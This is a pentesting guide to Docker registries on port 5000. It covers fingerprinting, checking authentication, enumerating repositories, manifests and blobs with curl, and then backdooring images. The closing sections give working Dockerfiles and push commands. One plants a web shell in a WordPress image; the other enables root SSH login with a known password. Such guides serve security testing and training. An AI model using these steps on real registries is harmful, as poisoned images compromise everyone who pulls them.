# 5000 - Pentesting Docker Registry ## Basic Information **Info from** [**here**](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/#:~:text=A%20Docker%20registry%20is%20a,versions%20of%20a%20specific%20image.)**.** A **Docker registry** is a storage and distribution system for named Docker images. The same image might have multiple different versions, identified by their tags. A Docker registry is organized into **Docker repositories** , where a repository holds all the versions of a specific image. The registry allows Docker users to pull images locally, as well as push new images to the registry \(given adequate access permissions when applicable\). By default, the Docker engine interacts with **DockerHub** , Docker’s public registry instance. However, it is possible to run on-premise the open-source Docker registry/distribution, as well as a commercially supported version called **Docker Trusted Registry** . There are other public registries available online. To pull an image from an on-premises registry, you could run a command similar to: ```text docker pull my-registry:9000/foo/bar:2.1 ``` where you pull the version of `foo/bar` image with tag `2.1` from our on-premise registry located at `my-registry` domain, port `9000` . If you used DockerHub instead, and 2.1 was also the latest version, you could run this command to pull the same image locally: ```text docker pull foo/bar ``` **Default port:** 5000 ```text PORT STATE SERVICE VERSION 5000/tcp open http Docker Registry (API: 2.0) ``` ## Discovering The easiest way to discover this service running is get it on the output of nmap. Anyway, note that as it's a HTTP based service it can be behind HTTP proxies and nmap won't detect it. Some fingerprints: * If you access `/` nothing is returned in the response * If you access `/v2/` then `{}` is returned * If you access `/v2/_catalog` you may obtain: * `{"repositories":["alpine","ubuntu"]}` * `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}` ## Enumeration ### HTTP/HTTPS Docker registry may be configured to use **HTTP** or **HTTPS**. So the first thing you may need to do is **find which one** is being configured: ```bash curl -s http://10.10.10.10:5000/v2/_catalog #If HTTPS Warning: Binary output can mess up your terminal. Use "--output -" to tell Warning: curl to output it to your terminal anyway, or consider "--output Warning: " to save to a file. #If HTTP {"repositories":["alpine","ubuntu"]} ``` ### Authentication Docker registry may also be configured to require **authentication**: ```bash curl -k https://192.25.197.3:5000/v2/_catalog #If Authentication required {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]} #If no authentication required {"repositories":["alpine","ubuntu"]} ``` If the Docker Registry is requiring authentication you can[ **try to brute force it using this**](../brute-force.md#docker-registry). **If you find valid credentials you will need to use them** to enumerate the registry, in `curl` you can use them like this: ```bash curl -k -u username:password https://10.10.10.10:5000/v2/_catalog ``` ### Enumeration using curl Once you **obtained access to the docker registry** here are some commands you can use to enumerate it: ```bash #List repositories curl -s http://10.10.10.10:5000/v2/_catalog {"repositories":["alpine","ubuntu"]} #Get tags of a repository curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list {"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]} #Get manifests curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest { "schemaVersion": 1, "name": "ubuntu", "tag": "latest", "architecture": "amd64", "fsLayers": [ { "blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935" }, { "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4" }, { "blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10" } ], "history": [ { "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}" }, { "v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}" }, { "v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}" } ], "signatures": [ { "header": { "jwk": { "crv": "P-256", "kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX", "kty": "EC", "x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg", "y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg" }, "alg": "ES256" }, "signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q", "protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ" } ] } #Download one of the previously listed blobs curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar #Inspect the insides of each blob tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory ``` {% hint style="warning" %} Note that when you download and decompress the blobs files and folders will appear in the current directory. **If you download all the blobs and decompress them in the same folder they will overwrite values from the previously decompressed blobs**, so be careful. It may be interesting to decompress each blob inside a different folder to inspect the exact content of each blob. {% endhint %} ### Enumeration using docker ```bash #Once you know which images the server is saving (/v2/_catalog) you can pull them docker pull 10.10.10.10:5000/ubuntu #Check the commands used to create the layers of the image docker history 10.10.10.10:5000/ubuntu #IMAGE CREATED CREATED BY SIZE COMMENT #ed05bef01522 2 years ago ./run.sh 46.8MB # 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B # 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B # 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B # 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB #Run and get a shell docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running docker ps #Using a different shell docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container ``` ### Backdooring WordPress image In the scenario where you have found a Docker Registry saving a wordpress image you can backdoor it. **Create** the **backdoor**: {% code title="shell.php" %} ```bash ``` {% endcode %} Create a **Dockerfile**: {% code title="Dockerfile" %} ```bash FROM 10.10.10.10:5000/wordpress COPY shell.php /app/ RUN chmod 777 /app/shell.php ``` {% endcode %} **Create** the new image, **check** it's created, and **push** it: ```bash docker build -t 10.10.10.10:5000/wordpress . #Create docker images docker push registry:5000/wordpress #Push it ``` ### Backdooring SSH server image Suppose that you found a Docker Registry with a SSH image and you want to backdoor it. **Download** the image and **run** it: ```bash docker pull 10.10.10.10:5000/sshd-docker-cli docker run -d 10.10.10.10:5000/sshd-docker-cli ``` Extract the `sshd_config` file from the SSH image: ```bash docker cp 4c989242c714:/etc/ssh/sshd_config . ``` And modify it to set: `PermitRootLogin yes` Create a **Dockerfile** like the following one: {% tabs %} {% tab title="Dockerfile" %} ```bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd_config /etc/ssh/ RUN echo root:password | chpasswd ``` {% endtab %} {% endtabs %} **Create** the new image, **check** it's created, and **push** it: ```bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it ```